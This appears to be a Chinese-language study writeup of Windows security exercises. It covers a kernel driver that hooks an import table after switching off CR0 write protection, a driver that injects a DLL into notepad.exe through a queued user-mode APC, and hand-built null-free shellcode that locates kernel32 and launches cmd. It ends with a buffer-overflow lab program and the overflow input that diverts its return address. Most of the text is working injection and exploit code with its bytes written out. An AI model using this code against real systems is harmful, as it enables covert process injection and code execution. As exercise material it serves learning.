DbgPrint("IATFunctionPointer not found"); return STATUS_SUCCESS; } g_OriginalPsGetCurrentProcessId = *(PVOID*)g_FunctionInMemory; /*_asm { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } *(PVOID*)g_FunctionInMemory = MyPsGetCurrentProcessId; DbgPrint("HOOK SUCESS"); _asm { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI }*/ if(NULL != g_FunctionInMemory && NULL != g_OriginalPsGetCurrentProcessId){ _asm { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } *(PVOID*)g_FunctionInMemory = PsGetCurrentProcessId; _asm { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI } } DriverObject->DriverUnload = Unload; return STATUS_SUCCESS; }
typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, // 0 Y N SystemProcessorInformation, // 1 Y N SystemPerformanceInformation, // 2 Y N SystemTimeOfDayInformation, // 3 Y N SystemNotImplemented1, // 4 Y N SystemProcessesAndThreadsInformation, // 5 Y N SystemCallCounts, // 6 Y N SystemConfigurationInformation, // 7 Y N SystemProcessorTimes, // 8 Y N SystemGlobalFlag, // 9 Y Y SystemNotImplemented2, // 10 Y N SystemModuleInformation, // 11 Y N SystemLockInformation, // 12 Y N SystemNotImplemented3, // 13 Y N SystemNotImplemented4, // 14 Y N SystemNotImplemented5, // 15 Y N SystemHandleInformation, // 16 Y N SystemObjectInformation, // 17 Y N SystemPagefileInformation, // 18 Y N SystemInstructionEmulationCounts, // 19 Y N SystemInvalidInfoClass1, // 20 SystemCacheInformation, // 21 Y Y SystemPoolTagInformation, // 22 Y N SystemProcessorStatistics, // 23 Y N SystemDpcInformation, // 24 Y Y SystemNotImplemented6, // 25 Y N SystemLoadImage, // 26 N Y SystemUnloadImage, // 27 N Y SystemTimeAdjustment, // 28 Y Y SystemNotImplemented7, // 29 Y N SystemNotImplemented8, // 30 Y N SystemNotImplemented9, // 31 Y N SystemCrashDumpInformation, // 32 Y N SystemExceptionInformation, // 33 Y N SystemCrashDumpStateInformation, // 34 Y Y/N SystemKernelDebuggerInformation, // 35 Y N SystemContextSwitchInformation, // 36 Y N SystemRegistryQuotaInformation, // 37 Y Y SystemLoadAndCallImage, // 38 N Y SystemPrioritySeparation, // 39 N Y SystemNotImplemented10, // 40 Y N SystemNotImplemented11, // 41 Y N SystemInvalidInfoClass2, // 42 SystemInvalidInfoClass3, // 43 SystemTimeZoneInformation, // 44 Y N SystemLookasideInformation, // 45 Y N SystemSetTimeSlipEvent, // 46 N Y SystemCreateSession, // 47 N Y SystemDeleteSession, // 48 N Y SystemInvalidInfoClass4, // 49 SystemRangeStartInformation, // 50 Y N SystemVerifierInformation, // 51 Y Y SystemAddVerifier, // 52 N Y SystemSessionProcessesInformation // 53 Y N } SYSTEM_INFORMATION_CLASS; NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11 ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef unsigned short WORD; typedef unsigned char BYTE; typedef unsigned long DWORD; typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; DWORD Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 typedef struct _IMAGE_OPTIONAL_HEADER { // // Standard fields. // WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; DWORD BaseOfData; // // NT additional fields. // DWORD ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; typedef IMAGE_OPTIONAL_HEADER32 IMAGE_OPTIONAL_HEADER; typedef PIMAGE_OPTIONAL_HEADER32 PIMAGE_OPTIONAL_HEADER; typedef struct _IMAGE_THUNK_DATA32 { union { DWORD ForwarderString; // PBYTE DWORD Function; // PDWORD DWORD Ordinal; DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME } u1; } IMAGE_THUNK_DATA32; typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32; typedef IMAGE_THUNK_DATA32 IMAGE_THUNK_DATA; typedef PIMAGE_THUNK_DATA32 PIMAGE_THUNK_DATA; typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; // 0 for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) }; DWORD TimeDateStamp; // 0 if not bound, // -1 if bound, and real date\time stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) // O.W. date/time stamp of DLL bound to (Old BIND) DWORD ForwarderChain; // -1 if no forwarders DWORD Name; DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) } IMAGE_IMPORT_DESCRIPTOR; typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR; #define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory typedef unsigned char *PBYTE; typedef struct _GENERATE_NAME_CONTEXT { USHORT Checksum; BOOLEAN CheckSumInserted; UCHAR NameLength; WCHAR NameBuffer[8]; ULONG ExtensionLength; WCHAR ExtensionBuffer[4]; ULONG LastIndexValue; } GENERATE_NAME_CONTEXT, *PGENERATE_NAME_CONTEXT; typedef struct _IMAGE_FILE_HEADER { WORD Machine; WORD NumberOfSections; DWORD TimeDateStamp; DWORD PointerToSymbolTable; DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; WORD Characteristics; } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; #define SEC_IMAGE 0x01000000 #define SEC_BASED 0x00200000 typedef struct _SECTION_IMAGE_INFORMATION { PVOID EntryPoint; ULONG StackZeroBits; ULONG StackReserved; ULONG StackCommit; ULONG ImageSubsystem; WORD SubsystemVersionLow; WORD SubsystemVersionHigh; ULONG Unknown1; ULONG ImageCharacteristics; ULONG ImageMachineType; ULONG Unknown2[3]; } SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; NTSYSAPI NTSTATUS NTAPI ZwCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN HANDLE FileHandle OPTIONAL );
思路是PsSetLoadImageNotifyRoutine回调函数,枚举所有进程再加上PAC注入。
#include <ntddk.h> #define MAX_PID 65535 ///////////////////////////////////////////////////////////////////////////////////////////////////////// NTSTATUS InstallUserModeApc(LPSTR DllFullPath, ULONG pTargetThread, ULONG pTargetProcess); void ApcCreateProcessEnd(); void ApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2); typedef enum { OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment } KAPC_ENVIRONMENT; typedef struct _KAPC_STATE { LIST_ENTRY ApcListHead[MaximumMode]; struct _KPROCESS *Process; BOOLEAN KernelApcInProgress; BOOLEAN KernelApcPending; BOOLEAN UserApcPending; } KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE; VOID KeInitializeApc ( PKAPC Apc, PETHREAD Thread, KAPC_ENVIRONMENT Environment, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ProcessorMode, PVOID NormalContext ); BOOLEAN KeInsertQueueApc ( PKAPC Apc, PVOID SystemArgument1, PVOID SystemArgument2, KPRIORITY Increment ); NTSTATUS PsLookupProcessByProcessId( HANDLE ProcessId, PEPROCESS *Process ); UCHAR * PsGetProcessImageFileName( PEPROCESS Process ); VOID KeStackAttachProcess ( IN PVOID Process, OUT PRKAPC_STATE ApcState ); VOID KeUnstackDetachProcess( IN PRKAPC_STATE ApcState ); ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //=======================================================================================// // InjectDll遍历进程,得到根据名字找到我们想要注入的进程,得到进程后遍历线程.找受信??线程序// //注意这里ETHREAD我是用XP..在其他操作系统可能一些偏移不同 // //======================================================================================// void InjectDll(LPSTR DllFullPath,ULONG pid) { //全部定义为ULONG类型 ULONG pTargetProcess; ULONG pTargetThread; ULONG pNotAlertableThread; ULONG pSystemProcess; ULONG pTempThread; ULONG pNextEntry, pListHead, pThNextEntry,pThListHead; PEPROCESS EProcess; NTSTATUS status; status = PsLookupProcessByProcessId((HANDLE)pid,&EProcess); if((NT_SUCCESS(status))) { pSystemProcess=(ULONG)EProcess; pTargetProcess =pSystemProcess; pTargetThread = pNotAlertableThread = 0; pThListHead = pSystemProcess+0x50; pThNextEntry=*(ULONG *)pThListHead; while(pThNextEntry != pThListHead) { pTempThread =pThNextEntry-0x1b0; //ETHREAD if(*(char *)(pTempThread+0x164)) //受信?? { pTargetThread =pTempThread; break; } else { pNotAlertableThread =pTempThread; } pThNextEntry = *(ULONG *)pThNextEntry; break; } } if(!pTargetProcess) return; if(!pTargetThread) pTargetThread = pNotAlertableThread; if(pTargetThread) { InstallUserModeApc(DllFullPath,pTargetThread,pTargetProcess); } else DbgPrint(" No thread found!"); } static HANDLE oldPid; static HANDLE newPid; VOID Work ( PUNICODE_STRING FullImageName, HANDLE ProcessId, // where image is mapped PIMAGE_INFO ImageInfo ) { PEPROCESS EProcess; char *FileName = NULL; PsLookupProcessByProcessId((HANDLE)ProcessId, &EProcess); FileName = (char *)PsGetProcessImageFileName(EProcess); if((strcmp(FileName, "notepad.exe") == 0) || (strcmp(FileName, "notepad") == 0)) { newPid = ProcessId; KdPrint(("old pid is %d. ", oldPid)); if(oldPid != newPid) { oldPid = newPid; KdPrint(("%d %s\n", newPid,FileName)); InjectDll("c:\\InjectDLL.dll",(ULONG)ProcessId ); } } } //释放InstallUserModeApc中分配的内存,一个内核例程 PMDL pMdl = NULL; void ApcKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine, IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 ) { if (Apc) ExFreePool(Apc); if(pMdl) { MmUnlockPages(pMdl); IoFreeMdl (pMdl); pMdl = NULL; } DbgPrint("ApcKernelRoutine called. Memory freed."); } //安装APC,首先是把我们要在用户执行的代码映射带用户态的空间MmMapLockedPagesSpecifyCache //因为loadlibrary所要用到的参数我们不可能直接用内核的数据....因为它只能在用户态执行,不能访问内核空间,所以我们要把参数做下处理 // memset ((unsigned char*)pMappedAddress + 0x14, 0, 300); // memcpy ((unsigned char*)pMappedAddress + 0x14, DllFullPath,strlen ( DllFullPath)); // data_addr = (ULONG*)((char*)pMappedAddress+0x9); // *data_addr = dwMappedAddress+0x14; NTSTATUS InstallUserModeApc(LPSTR DllFullPath, ULONG pTargetThread, ULONG pTargetProcess) { PRKAPC pApc = NULL; PVOID pMappedAddress = NULL; ULONG dwSize = 0; KAPC_STATE ApcState; ULONG *data_addr=0; ULONG dwMappedAddress = 0; NTSTATUS Status = STATUS_UNSUCCESSFUL; if (!pTargetThread || !pTargetProcess) return STATUS_UNSUCCESSFUL; /////////////////////////////////////////////////////////////////////////////////////////////////////////// pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC)); if (!pApc) { DbgPrint("Failed to allocate memory for the APC structure"); return STATUS_INSUFFICIENT_RESOURCES; } dwSize = (unsigned char*)ApcCreateProcessEnd-(unsigned char*)ApcCreateProcess; pMdl = IoAllocateMdl (ApcCreateProcess, dwSize, FALSE,FALSE,NULL); if (!pMdl) { DbgPrint(" Failed to allocate MDL"); ExFreePool (pApc); return STATUS_INSUFFICIENT_RESOURCES; } __try { MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess); } __except (EXCEPTION_EXECUTE_HANDLER) { DbgPrint("Exception during MmProbeAndLockPages"); IoFreeMdl (pMdl); ExFreePool (pApc); return STATUS_UNSUCCESSFUL; } KeStackAttachProcess((ULONG *)pTargetProcess,&ApcState);//进入目标进程的上下文 pMappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority); if (!pMappedAddress) { DbgPrint("Cannot map address"); KeUnstackDetachProcess (&ApcState); IoFreeMdl (pMdl); ExFreePool (pApc); return STATUS_UNSUCCESSFUL; } else DbgPrint("UserMode memory at address: 0x%p",pMappedAddress); dwMappedAddress = (ULONG)pMappedAddress; ///////////////////////////////////////////////////////////// //0x14注意后面的ApcCreateProcess..有改其他函数的话这俩个地方都注意下 memset ((unsigned char*)pMappedAddress + 0x14, 0, 300);//zero everything out ecxept our assembler code memcpy ((unsigned char*)pMappedAddress + 0x14, DllFullPath,strlen ( DllFullPath)); //copy the path to the executable data_addr = (ULONG*)((char*)pMappedAddress+0x9); *data_addr = dwMappedAddress+0x14; KeUnstackDetachProcess (&ApcState); //初始化APC,插APC KeInitializeApc(pApc, (PETHREAD)pTargetThread, OriginalApcEnvironment, &ApcKernelRoutine, NULL, pMappedAddress, UserMode, (PVOID) NULL); if (!KeInsertQueueApc(pApc,0,NULL,0)) { DbgPrint("KernelExec -> Failed to insert APC"); MmUnlockPages(pMdl); IoFreeMdl (pMdl); ExFreePool (pApc); return STATUS_UNSUCCESSFUL; } else { DbgPrint("APC delivered"); } //使线程处于警告状态,注意不同操作系统的ETHREAD if(!*(char *)(pTargetThread+0x4a)) { *(char *)(pTargetThread+0x4a) = TRUE; } return 0; } __declspec(naked) void ApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2) { __asm { //我的机器的loadlibrary的地址 mov eax,0x7C801d77 nop//-------sysnap注:这些nop是保证前面 memset ((unsigned char*)pMappedAddress + 0x14, 0, 300);之类的正常: //如果改成执行其他函数,注意这些NOP与前面的0x14之类的是否对应 nop nop push 0xabcd //因为用户程序无法访问内核空间,所以路径不能直接引用lpProcess call eax jmp end nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop end: nop ret 0x0c } } void ApcCreateProcessEnd(){} VOID Unload(PDRIVER_OBJECT DriverObject) { DbgPrint("Driver Unloaded"); } NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING pRegistryPath) { //InjectDll("c:\\InjectDLL.dll",0); DbgPrint("Driver Entry"); PsSetLoadImageNotifyRoutine(Work); DriverObject->DriverUnload = Unload; return STATUS_SUCCESS; }
不会··呜呜呜····
不会··呜呜呜····
不会··呜呜呜····
这题需要写一个通用的shellcode,并且不能包含00,需要动态搜索kernel32.dll的基址
一切语言都是苍白无力的,还是上图来得实在。
这里的PEB是 Process Environment Block TEB 是Thread Environment Block
其中PEB中的成员LDR_DATA包含3个指针,这三个指针其实只想同一条链表,使用不同指针的时候偏移不同。
看了上面的图,应该就有大致思路了,来看寻找kernel32模块的一下汇编代码。
find_kernel32: push esi xor ecx, ecx mov esi, [fs:ecx+0x30] //PEB = FS:0x30 mov esi, [esi + 0x0c] //LDR = PEB:0x0c mov esi, [esi + 0x1c] //FLink = LDR:0x1c next_module: mov eax, [esi + 0x8] //函数返回时eax保存模块基址 mov edi,[esi+0x20] //指向BaseDllName mov esi ,[esi] //这里是转移到链表的下一个 cmp [edi+12*2],cx //kernel32.dll 12*2个字节最后一位正好是00 jne next_module pop esi Ret
__asm{ find_kernel32: push ecx push esi push edi xor ecx, ecx mov esi, fs:[ecx+0x30] mov esi, [esi + 0x0c] mov esi, [esi + 0x1c] next_module: mov eax, [esi + 0x8] mov edi,[esi+0x20] mov esi ,[esi] cmp [edi+12*2],cx jne next_module pop edi pop esi pop ecx mov ebx,eax //LoadLibrary("msvcrt.dll"); push ebp mov ebp,esp xor eax,eax sub esp,0ch mov byte ptr[ebp-0Ch],6Dh //m mov byte ptr[ebp-0Bh],73h //s mov byte ptr[ebp-0Ah],76h //v mov byte ptr[ebp-09h],63h //c mov byte ptr[ebp-08h],72h //r mov byte ptr[ebp-07h],74h //t mov byte ptr[ebp-06h],2Eh //. mov byte ptr[ebp-05h],64h //d mov byte ptr[ebp-04h],6Ch //l mov byte ptr[ebp-03h],6Ch //l mov byte ptr[ebp-02h],0h lea esi,[ebp-0Ch] push esi mov eax,ebx add eax,1d7bh //得到LoadLibraryw地址 call eax mov esp,ebp pop ebp mov ebx,eax //MSCCRT.dll句柄(地址)在ecx中 // system(start cmd ); push ebp mov ebp,esp xor eax,eax sub esp,0ch mov byte ptr[ebp-0Ch],73h //s mov byte ptr[ebp-0Bh],74h //t mov byte ptr[ebp-0Ah],61h //a mov byte ptr[ebp-09h],72h //r mov byte ptr[ebp-08h],74h //t mov byte ptr[ebp-07h],20h // mov byte ptr[ebp-06h],63h //c mov byte ptr[ebp-05h],6Dh //m mov byte ptr[ebp-04h],64h //d mov byte ptr[ebp-03h],0h lea esi,[ebp-0Ch] push esi mov eax,ebx add eax,193c7h call eax mov esp,ebp pop ebp }
其中mov byte ptr [ebp-2],0 换成 mov [ebp-2],cl 代码中cl恒为零
unsigned char shellcode[] = { "\x51\x56\x57\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39\x4F\x18\x75" "\xF2\x5F\x5E\x59\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76\xC6\x45" "\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C\xC6\x45\xFD\x6C" //"\xC6\x45\xFE\x00" "\x88\x4D\xFE" "\x8D\x75\xF4\x56\x8B\xC3" "\x05\x7C\x1E\x01\x01\x2D\x01\x01\x01\x01" //sub eax , 01010101 "\xFF\xD0\x8B\xE5\x5D\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C" "\xC6\x45\xF4\x73\xC6\x45\xF5\x74\xC6\x45\xF6\x61\xC6\x45\xF7\x72\xC6\x45\xF8\x74\xC6\x45\xF9\x20\xC6\x45\xFA\x63" "\xC6\x45\xFB\x6D\xC6\x45\xFC\x64" //"\xC6\x45\xFD\x00" "\x88\x4D\xFD" "\x8D\x75\xF4\x56\x8B\xC3" "\x05\xC8\x94\x02\x01\x2D\x01\x01\x01\x01" //sub eax , 01010101 "\xFF\xD0\x8B\xE5\x5D" };最后在代码后面加上\xC3应该就大功告成了,可是却显示了堆栈不平衡的报错,拿OD看了一下发现
最程序最后检查堆栈平衡的函数里,会拿esi和esp作比较来判断是否平衡,而在程序中我把esi拿去干别的了,却没有还原,导致报错。
在最后把esi还原一下就好啦~最终版本
#include "stdafx.h" #include "windows.h" #include "winsvc.h" #include "string.h" /*unsigned char shellcode[] = { "\x51\x56\x57\x33\xC9\x64\x8B\x71\x3w0\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39\x4F\x18\x75" "\xF2\x5F\x5E\x59\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76\xC6\x45" "\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C\xC6\x45\xFD\x6C" //"\xC6\x45\xFE\x00" "\x88\x4D\xFE" "\x8D\x75\xF4\x56\x8B\xC3" "\x05\x7C\x1E\x01\x01\x2D\x01\x01\x01\x01" //sub eax , 01010101 "\xFF\xD0\x8B\xE5\x5D\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C" "\xC6\x45\xF4\x73\xC6\x45\xF5\x74\xC6\x45\xF6\x61\xC6\x45\xF7\x72\xC6\x45\xF8\x74\xC6\x45\xF9\x20\xC6\x45\xFA\x63" "\xC6\x45\xFB\x6D\xC6\x45\xFC\x64" //"\xC6\x45\xFD\x00" "\x88\x4D\xFD" "\x8D\x75\xF4\x56\x8B\xC3" "\x05\xC8\x94\x02\x01\x2D\x01\x01\x01\x01" //sub eax , 01010101 "\xFF\xD0\x8B\xE5\x5D\xC3" };*/ unsigned char shellcode[] = "\x51\x56\x57\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20" "\x8B\x36\x66\x39\x4F\x18\x75\xF2\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C" "\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6" "\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C\xC6\x45\xFD\x6C\x88\x4D" "\xFE\x8D\x75\xF4\x56\x8B\xC3\x05\x7C\x1E\x01\x01\x2D\x01\x01\x01\x01\xFF\xD0\x8B\xE5" "\x5D\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C\xC6\x45\xF4\x73\xC6\x45\xF5\x74\xC6\x45" "\xF6\x61\xC6\x45\xF7\x72\xC6\x45\xF8\x74\xC6\x45\xF9\x20\xC6\x45\xFA\x63\xC6\x45\xFB" "\x6D\xC6\x45\xFC\x64\x88\x4D\xFD\x8D\x75\xF4\x56\x8B\xC3\x05\xC8\x94\x02\x01\x2D\x01" "\x01\x01\x01\xFF\xD0\x8B\xE5\x5D\x5F\x5E\x59\xC3"; typedef void (*MYPROC)(LPTSTR); int main(int argc, char* argv[]) { ((void (*)())&shellcode)(); return 0; __asm{ find_kernel32: push ecx push esi push edi xor ecx, ecx mov esi, fs:[ecx+0x30] mov esi, [esi + 0x0c] mov esi, [esi + 0x1c] next_module: mov eax, [esi + 0x8] mov edi,[esi+0x20] mov esi ,[esi] cmp [edi+12*2],cx jne next_module mov ebx,eax //LoadLibrary("msvcrt.dll"); push ebp mov ebp,esp xor eax,eax sub esp,0ch mov byte ptr[ebp-0Ch],6Dh //m mov byte ptr[ebp-0Bh],73h //s mov byte ptr[ebp-0Ah],76h //v mov byte ptr[ebp-09h],63h //c mov byte ptr[ebp-08h],72h //r mov byte ptr[ebp-07h],74h //t mov byte ptr[ebp-06h],2Eh //. mov byte ptr[ebp-05h],64h //d mov byte ptr[ebp-04h],6Ch //l mov byte ptr[ebp-03h],6Ch //l mov [ebp-02h],cl lea esi,[ebp-0Ch] push esi mov eax,ebx add eax,01011e7ch //得到LoadLibraryw地址 sub eax,01010101h call eax mov esp,ebp pop ebp mov ebx,eax //MSCCRT.dll句柄(地址)在ecx中 // system(start cmd ); push ebp mov ebp,esp xor eax,eax sub esp,0ch mov byte ptr[ebp-0Ch],73h //s mov byte ptr[ebp-0Bh],74h //t mov byte ptr[ebp-0Ah],61h //a mov byte ptr[ebp-09h],72h //r mov byte ptr[ebp-08h],74h //t mov byte ptr[ebp-07h],20h // mov byte ptr[ebp-06h],63h //c mov byte ptr[ebp-05h],6Dh //m mov byte ptr[ebp-04h],64h //d mov [ebp-03h],cl lea esi,[ebp-0Ch] push esi mov eax,ebx add eax,010294c8h sub eax,01010101h call eax mov esp,ebp pop ebp pop edi pop esi pop ecx } return 0; }
/* Bomb program that is solved using a buffer overflow attack */ #include <stdio.h> #include <stdlib.h> #include <ctype.h> #include <new.h> #include <excpt.h> #include <malloc.h> /* Like gets, except that characters are typed as pairs of hex digits. Nondigit characters are ignored. Stops when encounters newline */ char *getxs(char *dest) { int c; int even = 1; /* Have read even number of digits */ int otherd = 0; /* Other hex digit of pair */ char *sp = dest; while ((c = getchar()) != EOF && c != '\n') { if (isxdigit(c)) { int val; if ('0' <= c && c <= '9') val = c - '0'; else if ('A' <= c && c <= 'F') val = c - 'A' + 10; else val = c - 'a' + 10; if (even) { otherd = val; even = 0; } else { *sp++ = otherd * 16 + val; even = 1; } } } *sp++ = '\0'; return dest; } /* $begin getbuf-c */ int getbuf() { char buf[12]; getxs(buf); return 1; } void test() { int val; printf("Type Hex string:"); val = getbuf(); printf("getbuf returned 0x%x\n", val); } /* $end getbuf-c */ int main() { int buf[16]; /* This little hack is an attempt to get the stack to be in a stable position */ int offset = (((int) buf) & 0xFFF); int *space = (int *) alloca(offset); *space = 0; /* So that don't get complaint of unused variable */ test(); return 0; }
int getbuf() { char buf[12]; getxs(buf); //并不接受返回的char* 这里我们可以选择性的忽略这个函数 return 1; //无论如何返回1 }
0040D820 push ebp 0040D821 mov ebp,esp 0040D823 sub esp,4Ch 0040D826 push ebx 0040D827 push esi 0040D828 push edi 0040D829 lea edi,[ebp-4Ch] 0040D82C mov ecx,13h 0040D831 mov eax,0CCCCCCCCh 0040D836 rep stos dword ptr [edi] char buf[12]; getxs(buf); //可暂时忽略这个函数 0040D838 lea eax,[ebp-0Ch] 0040D83B push eax 0040D83C call @ILT+5(getxs) (0040100a) 0040D841 add esp,4 47: return 1; 0040D844 mov eax,1
54: val = getbuf(); 0040D885 call @ILT+15(getbuf) (00401014) 0040D88A mov dword ptr [ebp-4],eax 55: printf("getbuf returned 0x%x\n", val); 0040D88D mov eax,dword ptr [ebp-4] 0040D890 push eax 0040D891 push offset string "getbuf returned 0x%x\n" (00422fac) 0040D896 call printf (00401060) 0040D89B add esp,8那么大概估计一下堆栈是这样
GetBuf堆栈区 --------------------------esp ..... ..... buf[] = ebp - 12 --------------------------ebp GetBuf执行完毕后会还原到test的堆栈 ebp eip .... .... ....那么很明显的一个思路是,ebp不变,我们把eip覆盖到call printf,之后再覆盖两个参数,这里deadbeef可以直接当做16进制数字输出
11 11 11 11 11 11 11 11 11 11 11 11 [EBP] [&call printf] [deadbeef] 01这时候的堆栈就是这样的,执行pop eip之后 esp正好指向0xdeadbeef,为printf提供参数
GetBuf堆栈区 --------------------------esp ..... ..... buf[] = ebp - 12 --------------------------ebp GetBuf执行完毕后会还原到test的堆栈 ebp eip 指向 call printf 0xdeadbeef 0x01 ....但是这样会产生堆栈不平衡的问题,并不是完美解决。
